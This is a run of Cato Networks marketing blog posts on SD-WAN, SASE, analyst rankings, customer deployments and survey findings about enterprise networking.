Traditional WAN vs. SD-WAN: Everything You Need to Know  The corporate WAN connects an organization’s distributed branch locations, data center, cloud-based infrastructure, and remote workers. The WAN needs to offer high-performance and reliable network connectivity to ensure all users and applications can communicate effectively.  As the WAN expands to include SaaS applications and cloud data centers, managing this environment becomes more challenging. Companies reliant on a traditional WAN architecture will seek out alternative means of connectivity like SD-WAN.   Below, we compare the traditional WAN to SD-WAN, and explore which of the two is better suited for the modern organization.   Traditional WAN Overview  WANs were designed to connect distributed corporate locations, traditionally, with WAN routers at each location. These WAN routers defined the network boundaries and routed traffic to the appropriate destination.  Key Features  Some of the key features that define a traditional WAN include the following:  Hardware Focus: Traditional WANs are built using hardware products such as routers to connect distributed locations..  Manual Configuration: Heavy manual configurations is characteristic of traditional WANs. While this provided a high level of control over policy configurations, it also introduces significant complexity, overhead, and potential misconfigurations.  Benefits of Traditional WAN  Traditional WANs have a long history. There are several beneficial reasons for this, including the following:  Security: Dedicated leased lines ensured strong security and privacy since no two enterprises shared the same network connection.  Reliability: These dedicated links provide much higher reliability than network routing over the public Internet.  Control: Traditional WANs gave organizations complete control of their network and allowed them to define routing policies to prioritize traffic types and flows.  Limitations of Traditional WAN  While a traditional WAN can effectively connect distributed corporate locations, it is far from perfect, especially for the modern enterprise. Some of its limitations includes:  Cost: MPLS connections are expensive and have hard caps on available bandwidth.  Agility: Modifications and upgrades require extensive manual intervention, limiting their ability to adapt to changing business requirements.  Scalability: Reliance on hardware also makes them difficult to scale. If an organization’s bandwidth needs exceed the current hardware capacity, new or additional hardware is required, and this can be a slow and expensive process.  Complexity: Traditional WANs are defined by complex architectures. Managing these is difficult and can require specialized skills that are difficult and expensive to retain in-house.  Cloud Support: Cloud traffic is often backhauled through the coroporate data center, resulting in greater latency and degraded performance. This is a serious problem as more organizations migrate to Cloud.  [boxlink link="https://www.catonetworks.com/resources/sase-vs-sd-wan-whats-beyond-security/"] SASE vs SD-WAN - What’s Beyond Security | Download the eBook [/boxlink] SD-WAN Overview  SD-WAN is best defined by: 1) Routing traffic at the software level, and 2) SD-WAN appliances’ ability to aggregate multiple network connections for improved performance and resiliency.  Key Features  Some of the key features of SD-WAN includes the following:  Software Overlay: SD-WAN creates a software overlay, with all routing decisions made at the software level. This allows the use of public internet for transport, which reduces networking costs.   Simplified Management: Most SD-WAN solutions offer centralized management for deploying and monitoring for all functions, including networking, traffic management, and security components and policies.  Increased Bandwidth: Organizations can increase available bandwidth with widely available broadband offerings and ensure optimal network and application performance.  Benefits of SD-WAN  Many organizations have made the switch from traditional WANs to SD-WAN. Some of the benefits of SD-WAN include the following:  Cost Savings: One of the main distinguishers and advantages of SD-WAN is that it does not require dedicated connections and used available broadband. This generates significant cost savings when compared to traditional WANs.  Flexibility: With SD-WAN, the network topology and architecture are defined in software, resulting in greater flexibility in configuration, changes and overall management.  Scalability:  Because SD-WAN is a virtual overlay, scaling required bandwidth when business changes dictate it can be made quickly and easily.  Software-Based Management: Operating at the software level, many management tasks are made easier through automation. This reduces the cost and complexity of network management.  Cloud Support: SD-WAN provides direct connectivity to cloud data centers, eliminating backhauling and reducing latency. This is essential for the performance of corporate apps migrated to cloud and for SaaS applications.  Limitations of SD-WAN  SD-WAN has become a popular WAN solution, but it still has limitations, including the following:  Reliability and Performance: Reliance on public Internet to carry traffic can result in unpredictable reliability and performance since the performance of SD-WAN depends on that of the unreliable public Internet.  Security: SD-WAN typically has basic security, so defense against advanced threats does not exist. This requires the organization to purchase and install next-gen firewall appliances, which increases the hardware complexity in their environment.  Traditional WAN vs. SD-WAN: The Verdict  Both options serve similar purposes. They connect distributed locations and carry multiple traffic types. Additionally, both solutions implements QoS and traffic prioritization policies to optimize the performance and security of the network.  That said, legacy WANs don’t offer the same benefits as SD-WAN. A properly designed and implemented SD-WAN can offer the same reliability and performance guarantees as a traditional WAN while reducing the cost and overhead associated with managing it. Also, SD-WAN offers greater flexibility and scalability than traditional WANs, enabling it to adapt more quickly and cost-effectively to an organization’s evolving needs.  Traditional WANs served their purpose well, but in today’s more dynamic networking environment of cloud and remote work, they are no longer a suitable option. Today, modern businesses implement SD-WAN to meet their more dynamic and ever-evolving business needs.  Migrating to SD-WAN with Cato Networks  The main challenge with most SD-WAN solutions is that  their reliability and performance are defined by the available routes over public Internet. Cato Networks offers SD-WAN as a Service built on top of a global private backbone. This offers reliability comparable to dedicated MPLS while enhancing performance with SD-WAN’s optimized routing. Additionally, Cato SASE Cloud converges SD-WAN and Cato SSE 360 to provide holistic security as well as high performance.  Learn more about how SD-WAN is evolving into SASE and how your organization can benefit from network and security convergence with Cato. 

The Magic Quadrant for Single Vendor SASE and the Cato SASE Experience

The Magic Quadrant for Single Vendor SASE and the Cato SASE Experience Customer experience isn’t just an important aspect of the SASE market, it is its essence. SASE isn’t about groundbreaking features. It is about a new way to deliver and consume established networking and security features and to solve, once and for all, the complexity and risks that has been plaguing IT for so long. This is an uncharted territory for customers, channels, and analyst firms. The “features” benchmark is clear: whoever has the most features created over the past two decades in CASB, SWG, NGFW, SD-WAN, and ZTNA – is the “best.” But with SASE, more features aren’t necessarily better if they can’t be deployed, managed, scaled, optimized, or used globally in a seamless way. Rather, it is the “architecture” that creates the customer experience that is the essence of SASE: having the “features” delivered anywhere, at scale, with full resiliency and optimal security posture, to any location, user, or application. This calls for a global cloud-native service architecture that is converged, secure, self-maintaining, self-healing, and self-optimizing. The SASE architecture, built from the ground up and not through duct taping products from different generations and acquisitions, is the basis for the superior SASE experience. It is seamlessly managed by a single console (really, just one) to make management and configuration consistent, easy, and intuitive. Users create a rich unified policy using the full access context to drive prevention and detection decisions. A single data lake is fed with all events, decisions, and contexts across all domains for streamlined end-to-end visibility and analysis. It is important to understand this ‘’features’’ vs. ‘’architectures’ dichotomy. Imagine you would rank any Android phone vs. an iPhone on any reasonable list of attributes. The Android phones had, for years, better hardware, more features, more flexibility, lower cost, and bigger market share. And yet they failed to stop Apple since the launch of the iPhone, for that illusive quality called the “Apple experience.” [boxlink link="https://www.catonetworks.com/resources/cato-named-a-challenger-in-the-gartner-magic-quadrant-for-single-vendor-sase/"] Cato named a Challenger in Gartner’s Magic Quadrant for Single Vendor-SASE | Get the Report [/boxlink] Carlsberg called Cato “The Apple of Networking.” Customers understand and value the “Cato SASE Experience” even when our SD-WAN device or converged CASB engine are missing a feature. They know they can get it, if needed, through our high-velocity roadmap that is made possible by our architecture.   What is very hard to do, is to build and mature a SASE architecture that is foundational to any SASE feature. To achieve that, Cato had built the largest SASE cloud in the world with over 80 PoPs. We optimized the service to set a record for SASE throughput from a single location at 5 Gbps with full encryption/decryption and security inspection. We had deployed massive global enterprises with the most demanding real-time and mission-critical workloads with sustained optimal performance and security posture. And the “features”? We roll them out at a pace of 3,000 enhancements per year, on a bi-weekly schedule, without compromising availability, security, or the customer experience. Cato is expanding its SASE platform outside the core network security market boundaries and into adjacent categories such as endpoint protection, extended detection and response, and IoT that can benefit from the same streamlined architecture. Cato delivers the true SASE experience. That powerful simplicity customers have been longing for.   Try us.   Cato. We are SASE.   *Gartner, Magic Quadrant for Single-Vendor SASE, Andrew Lerner, Jonathan Forest,16 August 2023 GARTNER is a registered trademark and service mark of Gartner and Magic Quadrant is a registered trademark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission.

The New Network Dictionary: AvidThink Explains SASE, SD-WAN, SSE, ZTNA, MCN, and NaaS   The enterprise networking and security market has seen no end to terms and acronyms. SASE, of course, is chief among them, but let us not forget SD-WAN, SSE, ZTNA, and Multi-Cloud Networking (MCN). Then we get into specific capabilities like CASB, DLP, SWG, RBI, FWaaS, and micro-segmentation. This alphabet soup of jargon can confuse even the most diligent and capable CISOs and CIOs, especially when vendors continually redefine and reclassify each category to fit their needs.  AvidThink,  an independent research and analysis firm, set out to fix that problem. The firm produced the “Enterprise Edge and Cloud Network” report that defines and contextualizes these concepts and terms.  AvidThink founder and report author, Roy Chua, lays out the universal network fabric (UNF) -- the grand theoretical architectural model for how enterprises can seamlessly integrate disparate enterprise networking resources while providing a consistent and secure connectivity experience across all endpoints.   He correctly understands that no longer can networking and security stand apart:  “Traditional security measures are proving inadequate in the face of sophisticated threats, forcing organizations to seek security-centric network solutions. Integrating advanced security features directly into network architectures is now a critical requirement. Strong CISO interest in SASE, SSE, and ZTNA is evidence of this sentiment.”  And he correctly identifies that to address this need SD-WAN vendor are trying to remake themselves into SASE vendor:   “...all leading SD-WAN vendors are upgrading to becoming SASE solutions” or partnering with SSE vendors to deliver SASE as a response “...to customer demands for protection from an increasing number of cyberattacks, and to further simplify the messy collection of point products across customer remote and campus sites.”  AvidThink Sees Cato as the SASE Pioneer  But while numerous vendor market themselves as SASE vendors, Cato stands out: “...To be fair to Cato Networks, they were already espousing elements of the SASE architecture years before the SASE umbrella term was coined.”   With that four-year head start (SASE was defined in 2019), Cato’s been able to do SASE right. We didn’t cobble together products and slap on marketing labels to capitalize on a new market opportunity. We build a fully converged, cloud-native, single-pass SASE architecture that today spans 80+ Cato -owned and -operated PoP locations servicing 140+ countries and interconnected by our global private backbone.   [boxlink link="https://www.catonetworks.com/resources/enterprise-strategy-group-report-sse-leads-the-way-to-sase/"] Enterprise Strategy Group Report: SSE Leads the Way to SASE | Get the Report [/boxlink] It’s this fully single–vendor, converged approach that’s so critical. As Chua reports hearing from one of our customers, “We believe in Cato’s single-vendor clean-slate architecture because it brings increased efficiency and we’re not bouncing between multiple vendors.”  SASE Is About Convergence Not Features  Cato did help sponsor the report, but it doesn’t mean we agree entirely with the author. If there's a weakness in the report, and every report has to stop somewhere, it’s in this area – the centrality of convergence to SASE. As we’ve mentioned many times in this blog, the individual components of SASE -- SD-WAN, NGFW, SWG, ZTNA, and more – have been around for ages. What hasn’t been around is the convergence of these capabilities into a global cloud-native platform.   Converging SASE capabilities enables better insight where networking information can be used to improve security analytics. Convergence also improves usability as enterprises finally gain a true single-pane-of-glass for a management console where objects are created once, and policies are unified, not the kind of “converged” console where when you dig a level deeper you find a new management console needs to be launched with all its own objects and policies.   And its convergence into a single-pass, cloud-native platform, which means optimum performance everywhere and deploying more infrastructure nowhere. All security processing can now be done in parallel at line rate. There are no sudden upgrades to branch or datacenters appliances when traffic levels surge or more capabilities are enabled. And since all the heavy “lifting” runs in the clouds, little or no additional infrastructure is needed to connect users, sites, or cloud resources.  It’s this convergence that’s allowed Cato customers to instantly respond to new requirements, like Juki ramping up its 2742 mobile users or Geosyntec adding 1200+ remote users worldwide in about 30 minutes both in response to COVID. It’s convergence that allows one person to efficiently manage the security and networking needs of companies on the scale of a Fortune 500 company. Convergence IS the story of SASE.   To read the report, download it from here.

Cato named a Leader in Forrester’s 2023 Wave for Zero Trust Edge    Today, Forrester released The Forrester Wave™: Zero Trust Edge Solutions, Q3 2023 Report. Zero Trust Edge (ZTE) is Forrester’s name for SASE. We were delighted to be described as the “poster child” of ZTE and SASE and be named a “Leader” in the report.    To date, thousands of enterprises with tens of thousands of locations, and millions of users, run on Cato. The maturity, scale, and global footprint of Cato’s SASE platform enables us to serve the most demanding and mission-critical workloads in industries such as manufacturing, engineering, retail, and financial services. Cato’s record-setting multi-gig SASE processing capacity extends the full set of our capabilities to cloud and physical datacenters, campuses, branch locations, and down to a single user or IoT device.    Cato isn’t just the creator of the SASE category. It is the only pure-play SASE provider that built, from the ground up, the full set of networking and security capabilities delivered as a single, global, cloud service. We created the Cato SASE Cloud eight years ago with the aim to level the complex IT infrastructure playing field. Cato focuses on simplifying, streamlining, and hardening networking and security infrastructure to enable organizations of all sizes to secure and optimize their business regardless of the resources and skills at their disposal. This is, at its core, the promise of SASE.    Cato has SASE DNA. As Forrester notes, we deliver networking and security as a unified service. The SASE features, however, and the order we deliver them are driven by customer demand and the identification of new opportunities to bring the SASE value to new areas of the IT infrastructure.    [boxlink link="https://www.catonetworks.com/resources/the-forrester-wave-zero-trust-edge-solutions/"] Forrester Reveals 2023 ZTE (SASE) Providers | Get the Report [/boxlink] This “architecture vs. features” trade off makes assessing SASE providers very tricky. The SASE architecture is a radical departure from the legacy architecture of appliances and point solutions and into converged cloud delivered services. SASE incorporates into this new architecture mostly commoditized, and well-defined features. In this new market, it is the architecture that sets SASE providers apart as long as they deliver the features a customer actually needs. Simply put, it is the SASE architecture that drastically improves the IT operating model and enables the promised business outcomes.    When we work with customers to evaluate SASE, our focus is always on the IT team and the end-user experience. What they observe is the speed at which we deploy our service through zero touch and self-service light edges, the seamless and intuitive nature of our user interface that exposes an elegant underlying design, the global reach of our cloud service, and total lack of need for difficult integrations.    Cato is the simplicity customers always hoped for because we aren’t a legacy provider that had to play catch up to SASE. All the other co-leaders are appliance companies that were forced to build a cloud service to participate in SASE. They market SASE but deliver physical or virtual appliances placed in someone else’s cloud.    We are committed to helping customers use SASE to achieve security and networking prowess previously available only to the largest organizations. Cato’s SASE will change the way your IT team supports the business, drives the business, and is perceived by the business.   Start your journey today, with the true SASE leader.    Cato.

Carlsberg Selects Cato, the “Apple of Networking,” for Global SASE Deployment  Today, we announced that Carlsberg, the world-famous brewer, has selected Cato SASE Cloud for its global deployment. It’s a massive SASE deployment spanning 200+ locations and 25,000 remote users worldwide, replacing a combination of MPLS services, VPN services, SD-WAN devices, remote access VPNs, and security appliances.   The mix of technologies meant that Carlsberg faced the operational problems associated with building and maintaining different service packages.  “Some users would receive higher availability and others better capabilities, but we couldn't bring it all together to create an à la carte set of services that could apply to any office anywhere and facilitate our global IT development," says Laurent Gaertner, Global Director of Networks at the Carlsberg Group.   With Cato, Carlsberg expects to do just that -- deliver a standard set of network and security services everywhere. Carlsberg will be replacing MPLS, VPN, and SD-WAN services with Cato SASE Cloud and Cato’s global private backbone. Remote VPN services will be replaced with Cato ZTNA. And the mix of security appliances will be replaced with the security capabilities built into Cato SASE Cloud.   All of this is possible because every Cato capability is available everywhere in the world. While our competitors talk about certain PoPs holding some capabilities but not others, Cato delivers the full scope of Cato SASE Cloud capabilities from all 80+ PoP locations worldwide, servicing 150+ countries. Chances are that wherever your users are located, Cato SASE Cloud can connect and secure them.   The Apple of Networking Makes Deployment Easy  Normally, the complexity of such a project would be daunting. Large budgets and many months would be spent assessing, deploying, and then integrating various point products and solutions.  Not so with Cato.   With Cato SASE Cloud, there’s one product to select, deploy, and manage – the Cato SASE Cloud. “Owning all of the hardware makes Cato so much simpler to deploy and use than competing solutions," says Tal Arad, Vice President of Global Security & Technology at Carlsberg. "We started referring to them as the Apple of networking.”  With rapid deployment possible, Cato helps Carlsberg get value out SASE faster.   Nor is Carlsberg alone in that view. In February 2023, Häfele, a German family enterprise based in Nagold, Germany, suffered a severe ransomware attack forcing the company to shut down its computer systems and disconnect them from the internet. At the time, Häfele was in an RFP process to select a SASE vendor with Cato being one of the candidates.  [boxlink link="https://www.catonetworks.com/resources/cato-sase-cloud-identified-as-a-leader-download-the-report/"] Cato SASE Identified as a “Leader” in GigaOm Radar report | Get the Report [/boxlink] Instead of paying the ransom, the Häfele team turned to Cato. Over the next four weeks, Häfele worked with Cato and restored its IT systems, installing Cato Sockets at 180+ sites across 50+ widely dispersed countries such as Argentina, Finland, Myanmar (Burma), and South Africa. “The deployment speed with Cato SASE Cloud was a game changer,” said Daniel Feinler, CISO, Häfele. “It was so fast that a competing SASE vendor didn’t believe us. Cato made it possible.”  The strategic benefits of being able to rapidly deliver a consistent set of services worldwide can’t be overemphasized. IT leaders have long realized the value of a single service catalog to offer the departments and business units they service. In theory, this would streamline service delivery and simplify management. Solutions could be fully tested and approved and then rolled out across the enterprise as necessary. Operational costs would be reduced by standardization.   Practically, though, worldwide service catalogs are frustrated by regional differences. MPLS services aren’t available everywhere so they can’t be applied to all offices. Even where MPLS services are available, their high costs may be difficult to justify for smaller offices and certainly for today’s home offices. Delivering security appliances also isn’t always possible, particularly when we’re speaking about securing remote users not sites. The end result? What IT thought was to be a standardized set of services and capabilities accumulates so many differences that the exception becomes the new standard.   With Cato’s ubiquity and ability to connect any edge, anywhere enables true service standardization. No matter the type of site or location of remote user, a standard set of security and networking services can be provided. With one set of proven services, IT can immediately reduce its operational overhead from having to kludge together custom solutions for every region – and worse – every site.   To learn more about the Carlsberg deployment, read the press release here.

How to Enhance Your Network Security Strategy With the transition to the cloud and remote work, some organizations are undervaluing network security. However, network vulnerabilities and threats still require attention. Enterprises should not forgo the core capabilities required to secure the network from security threats. In this blog post, we delve into SASE, a converged, cloud-delivered network and security solution, which protects the network while ensuring high performing connectivity. We explain which considerations to take into account, pitfalls to avoid and how to get started. This blog post is based on the insightful conversation that Eyal Webber-Zvik, VP of Product Marketing at Cato Networks participated in at Infosecurity Europe, which was hosted by Melinda Marks, Senior Analyst at ESG. You can watch the entire conversation, recorded live right from the show floor, here. What is SASE Gartner defined SASE in 2019 as a transformational approach that converges network and security in the cloud and replaces legacy solutions. This includes the network, firewalls, routers, SD-WAN appliance, SWG, CASB, and more. The promise of SASE is ingrained in the cloudification of all on-premises point products into one unified solution. Rather than integrating point solutions, SASE is a single software stack designed from the ground up to answer all network and security needs as a cloud service. [boxlink link="https://catonetworks.easywebinar.live/registration-enhancing-your-enterprise-network-security-strategy"] Enhancing Your Enterprise Network Security Strategy | Watch the Webinar [/boxlink] Supporting Business Growth SASE is a fit for modern businesses because it enables connectivity and security in hours, not days. Legacy technologies cannot move as fast, leaving business in the lurch. Whether it’s opening up a new branch, popup store, or construction site, connecting multiple point network and security products to support these moves is very complex and increases the security risk. Overcoming the Skills Shortage Gap One of the main organizational challenges enterprises are dealing with is a skills shortage. Losing talented people is a huge business risk, leaving the business exposed. There are a number of SASE vendors that can minimize this risk by providing services as an extension of the IT team. They take away a lot of the work, like maintenance, supervision, inspection, hunting, threat analysis, and more. This SASE support enables IT teams to focus on business outcomes and strategic requirements, rather than maintenance and keeping the lights on. Consequently, burnout is reduced and so is the risk of talented personnel leaving the organization. SASE and Managed Services SASE also supports MSSPs by enabling them to respond faster to business requirements. By normalizing and aggregating all data into a single location, it becomes more accessible. This enables making better and faster decisions, building better practices and providing a better service. How to Start with SASE There are two approaches for starting with SASE: rip and replace, i.e going full-blown SASE all at once, or gradually adding more SASE capabilities based on prioritizing needs. The second approach is often easier for organizations, and SASE’s cloud-based nature allows for it. When planning SASE, it’s important to identify silos or blockers between network and security teams and find ways to overcome them. No team wants to be the inhibitor of business growth. SASE enables these teams to be the IT champions, bringing immense value in terms of performance, ease of use, better security, and more. What to Expect After Deploying SASE SASE is transformational. Deploying SASE provides a “before and after” type of experience. Here are some of the real “after” effects SASE users have reported: The IT team gains better work-life balance back. No more patching, updating and maintaining over the weekend. The IT team is able to focus on strategic business objectives instead of keeping the lights on. SASE provides meaning to the team’s day-to-day work and helps avoid burnout. Pitfalls to Avoid When Choosing a SASE Vendor When choosing a SASE vendor, it’s important to conduct proper due diligence on the solution that you are evaluating. Run a POC to ensure it ticks all the boxes and fits your use cases. This includes relevant features, visibility, ease of use, and more. Filter through the marketing noise and educate yourself on the vendor’s capabilities and offerings to ensure your vendor sees eye-to-eye with you and can support all your current and future network and security needs. The Future of Network and Security As the needs of enterprises are changing, they are looking for new approaches that support their ever-evolving digital business. SASE has emerged as a solution that addresses these requirements, and enterprises are realizing they can rely on the delivery of network and security in the cloud and do not need to be tied to legacy on-prem boxes. At the same time, customers are educating themselves to ensures they choose the right solution and vendor for all their current and future needs.

Don’t Renew Your SD-WAN Contract Before Reading This Article If your enterprise SD-WAN contract is due for renewal but your existing SD-WAN solution doesn't align with your functional or business objectives, you have other options. In this blog post, we review four potential paths to replace or enhance your SD-WAN infrastructure. Then, we list which considerations you should take when deciding on your next steps. This blog post is based on a webinar held with Roy Chua, principal analyst at AvidThink and a 20-year veteran of the cybersecurity and networking industry, which you can watch here. What is Triggering SD-WAN Evaluation? For many enterprises, the decision to re-examine their SD-WAN network and ultimately migrate to a different solution is triggered by their evolving business and technical needs. While SD-WAN still serves the enterprise, there are additional use cases it does not answer: Global connectivity  Improving cloud connectivity Scaling remote access  Zero Trust Network Access Architecture simplification Mobile networking Connecting Supply-chain partners TAdvanced security Supporting M&A  Take Into Account The Growing Importance of the Cloud When choosing your path forward, it’s important to remember there have been changes since your last SD-WAN deployment. In recent years, Cloud has risen in importance and become a cornerstone of the organizational networking and security strategy. Many organizations have adopted cloud as their deployment of choice, moving their enterprise applications to cloud and utilizing cloud storage. This is due to the operational benefits of moving to the cloud, namely offloading the maintenance of the security and networking stacks to vendors who provide it as a service. Moving to cloud also leverages economies of scale: a single vendor can amortize the cost of R&D over many clients. 4 Technology Paths Forward Now that we’ve mapped out what brought us here and the considerations we need to take, let’s discuss the four main possible transformation paths forward. 1. Replace your SD-WAN vendor 2. Keep your existing SD-WAN and add on SSE 3. Switch your SD-WAN vendor and add on SSE 4. Switch to SASE (including SD-WAN) [boxlink link="https://catonetworks.easywebinar.live/registration-dont-renew-your-sd-wan-contract-before-watching-this"] Don’t Renew Your SD-WAN Contract Before Watching This Webinar | Watch the Webinar [/boxlink] Path #1: Replace Your SD-WAN Vendor If you want to enhance your existing SD-WAN with more features, transition from self-management to an MSP, or adopt a new managed services model, it may be beneficial to find a new SD-WAN vendor. Look for a solution that offers a network of private global PoPs to ensure scalable and reliable global connectivity. A global private backbone with controlled, optimized routing can provide high availability, self-healing capabilities, and automated failover routing without the need for infrastructure or capacity planning. Upgrading your SD-WAN network is also a good idea when there is no need to address security. This may be when your existing security stack answers all your needs or when security decisions in your company are made by other stakeholders. Just make sure to be conscious of potential security gaps. In addition, when choosing a new vendor, make sure you're not simply trading one pain point for another. Path #2: Keep Your Existing SD-WAN and Add on SSE  If you’re satisfied with your SD-WAN vendor or you don’t have the budget to upgrade, and you also need to improve security posture and simplify your security architecture, the right solution for you may be to add an SSE (Security Service Edge) solution. SSE complements SD-WAN by providing converged, cloud-native security. SSE converges SWG, CASB, DLP, ZTNA, FWaaS, and IPS. SSE is also easier to manage than point security solutions and enables greater operational savings. Make sure you have a plan in place for managing two distinct vendors. Also make sure the two integrate well to ensure security is delivered continuously and consistently throughout your entire network. Path #3: Replace Your SD-WAN Vendor and Add SSE If you have already signed with a new SD-WAN vendor or have specific requirements only a certain SD-WAN vendor can provide, you can still add SSE features the SD-WAN vendor doesn’t have. This will help you deliver security capabilities and protect against cyber attacks across your organization. However, be aware you’ve taken on a challenging task: onboarding a new SD-WAN vendor and an SSE vendor at the same time. This creates significant overhead and operational difficulties.  Path #4: Switch to SASE in One Go The fourth option you have is to transition directly to SASE (Secure Access Services Edge). SASE provides a converged networking and security platform in a cloud-native architecture with a unified networking-security policy. This is the ideal path when your organization can make a joint networking and security decision. With SASE, organizations can benefit by eliminating the cost and complexity of managing fragmented legacy point solutions while providing secure, high performing connectivity to all users and for all resources. Upgrading your network and security can be hard. So make sure you choose a SASE vendor that has a converged solution for both aspects, rather than loosely-integrated point solutions. How to Decide On Your Next Steps You have four possible paths ahead. How can you determine which one is right for you? Here is a framework to help you decide: 1. Understand your short and long-term needs - Know your short and mid-term networking and security requirements and understand your resource and budget limitations. 2. Eliminate weakest fits - Review the four options again. Eliminate the architectural solutions that aren’t a good fit. Determine which route is the best fit for you. 3. Talk to trusted partners - Leverage your professional network to obtain recommendations, reviews and new points of view for evaluating your choices. Then, re-evaluate the sub-set of vendors to ensure they fit your options and needs. 4. Make an informed decision - Decide when and how the next major infrastructure upgrade will take place. Whichever solution you choose, make sure you take into account future needs, so you’re always ready for whatever is next. Watch the entire webinar here.

Gartner: Where Do I Start With SASE Evaluations: SD-WAN, SSE, Single-Vendor SASE, or Managed SASE? If you’re starting your SASE evaluation journey, Gartner is here to assist. In a new helpful guide, they delineate how organizations can build their SASE strategy and shortlist vendors. In this blog post, we bring a short recap of their analysis. You can read the entire document here. Quick Reminder: What is SASE? Gartner defined SASE as the convergence of networking and network security into a single, global, cloud-native solution. How to Start Evaluating SASE Here are Gartner’s recommendations: Step 1: Build a Long Term SASE Strategy Your strategy should aim to consolidate point solutions and identify a single SASE vendor (combining networking and security) or two partnering vendors (one for networking, one for security). Solutions can be self-service or out-sourced as a managed service. Step 2: Shortlist Vendors Identify the use cases driving your transition to SASE. This will ensure you shortlist the right type of providers. Otherwise, you might find yourself with unused features and/or missing functionalities. Drivers may include: Modernizing the WAN edge - Including branch network modernization, implementing a cloud first strategy, network simplification, and more. In this case, it is recommended to start with SD-WAN and add SSE when the organization is ready. Improving security - Including advanced security controls for employees, services and data protection. In this case, it is recommended to start with SSE and augment with SD-WAN when the organization is ready. Reducing the operational overhead of managing network and security, including unified management and easy procurements. In this case, it is recommended to start with managed SASE or single-vendor SASE. [boxlink link="https://www.catonetworks.com/resources/gartner-report-where-do-i-start-with-sase/"] Gartner® Report: Where Do I Start With SASE Evaluations: SD-WAN, SSE, Single-Vendor SASE, or Managed SASE? | Download the Report [/boxlink] Step 3: Understand the 4 Markets There are four potential markets with vendors that can help implement SASE. SD-WAN - When the organization prioritizes replacing or upgrading network features. Security features can be added natively or via a partnership. Single-vendor SASE - When the organization has a unified networking and security vision for transitioning to SASE, and prioritizes integration, procurement simplicity and unified management. SSE - When the organization prioritizes best-of-breed security features. SSE can be integrated with an existing SD-WAN provider. Managed SASE - When the organization has a strategic approach to outsourcing. The setup and configuration of SASE are outsourced to their MSP, MSSP, or ISP.  Step 4: Verify Vendor Claims Ensure vendors can support SASE and do not have gaps in their offering. Prioritize automation and orchestration. This will ensure long-term cyber resilience. For Managed SASE, only choose a provider with single-vendor or dual-vendor SASE solutions. Understand the SASE capabilities to make sure it fits your requirements. If you are investing in solutions that are subsets of SASE functionality, like stand-alone ZTNA, SWG, or CASB, Gartner recommends limiting the investments and keeping them tactical, shorter-term and at lower costs.

Key Findings From “WAN Transformation with SD-WAN: Establishing a Mature Foundation for SASE Success” SD-WAN has enabled new technology opportunities for businesses. But not all organizations have adopted SD-WAN in the same manner or are having the same SD-WAN experience. As the market gravitates away from SD-WAN towards SASE, research and consulting firm EMA analyzed how businesses are managing this transition to SASE. In this blog post, we present the key findings from their report, titled “WAN Transformation with SD-WAN: Establishing a Mature Foundation for SASE Success”. You can download the entire report from here. Research Methodology For this research, EMA surveyed 313 senior IT professionals from North America on their company’s SD-WAN strategy. Most Enterprises Prefer SD-WAN as a Managed Service 66% of enterprises surveyed prefer procuring, implementing and consuming SD-WAN solutions as a managed service. Only 21% prefer a DIY approach, and the rest are still determining their preference. EMA found that SD-WAN as a managed service provides organizations with network assurance, integration with other managed services, cost savings and the ability to avoid deployment complexity, among other benefits. The organizations that prefer the DIY approach, on the other hand, wish to maintain control to customize as they see fit. They also view the DIY approach as more cost-effective and as an opportunity to leverage the strengths of their internal engineering team. Less Than Half of Enterprises Prefer a Single-Vendor SD-WAN  49% of enterprises surveyed used or planned to use only one SD-WAN vendor, nearly 44% preferred a multi-vendor approach, while the rest were undecided. According to the surveyed personnel, a multi-vendor approach was chosen due to functionality requirements, the nature and requirements of their sites, and the independent technology strategies of different business units, among other reasons. Critical SD-WAN Features Not all SD-WAN features were created equal. The most critical SD-WAN features are hybrid connectivity, i.e the ability to forward traffic over multiple network connections simultaneously (33.9%), integrated network security (30%), native network and application performance monitoring (28.8%), automated, secure site to-site connectivity (27.5%), application quality of service (24.3%), and centralized management and control, either cloud-based or on-premises (23.3%). [boxlink link="https://www.catonetworks.com/resources/new-ema-report-wan-transformation-with-sd-wan-establishing-a-mature-foundation-for-sase-success/"] NEW EMA Report: Establishing a Mature Foundation for SASE Success | Download the Report [/boxlink] SD-WAN Replaces MPLS The internet has become a primary means of WAN connectivity for 63% of organizations. Almost all the other surveyed organizations actively embracing this trend. This shift impacts the use of MPLS, with the internet is being leveraged more often to boost overall bandwidth. However, security remains a top concern, with 34.5% of surveyed enterprises viewing security as the biggest challenge for using the internet as their primary WAN connectivity. This is followed by the complexity of managing multiple ISP relationships (25.9%), and lack of effective monitoring/visibility (19.2%). Operations and Observability 88.5% of surveyed enterprises are either satisfied or somewhat satisfied with their SD-WAN solutions’ native monitoring features. The main challenges revolve around granularity of data collection (32.3%), lack of data retention (30%), lack of relevant security information (28.4%), no drill downs (25.6%) and data formatting problems (25.6%). Perhaps this is why 72.5% of surveyed enterprises use, or plan to use, third-party monitoring tools. WAN Application Performance Issues Organizations are struggling with the performance on their WANs. The most common problems were: Bandwidth limitations (38.7%) Latency (38.3%) Cloud outages (38.3%) ISP congestion (32.9%) Packet loss (25.9%) Policy misconfiguration (25.6%) Jitter (13.4%) EMA found that cybersecurity teams were more likely to perceive bandwidth limits as a problem than network engineering teams. In addition, IT governance and network operations teams were more likely to mention cloud outages as a problem and the largest companies reported latency issues as their biggest problem. Only 38% of Enterprises Believe They’ve Been Successful with SD-WAN How do enterprises perceive their success with SD-WAN? Only 38% believe they’ve been successful and nearly 50% report being somewhat successful. Perhaps this could be the result of the SD-WAN business and technology challenges they are facing - a skills gap (40.9%), lack of defined processes and best practices (40.9%), vendor issues (36.7%), implementation complexity (26.2%) and integrating with the existing security architecture and policies (24%). Integrating SD-WAN with SSE There are a few paths an organization can take on their way to SASE. 54% of surveyed enterprises prefer adding SSE to their SD-WAN solution. Nearly 31% prefer expanding SD-WAN capabilities to achieve SASE and the rest prefer adapting SASE all at once or are still evaluating. In addition, EMA found that a mature SD-WAN foundation helped make the transition to SASE a smoother experience. Transitioning to SASE EMA views SD-WAN as “the foundation of SASE, which appears to be the future of networking and security.” Yet, enterprises are still unsure about their path to SASE and how to achieve it. Per EMA, a firm SD-WAN foundation is key for a successful SASE transition, and organizations should strive to deploy a strong SASE solution. To read the complete report, click here.

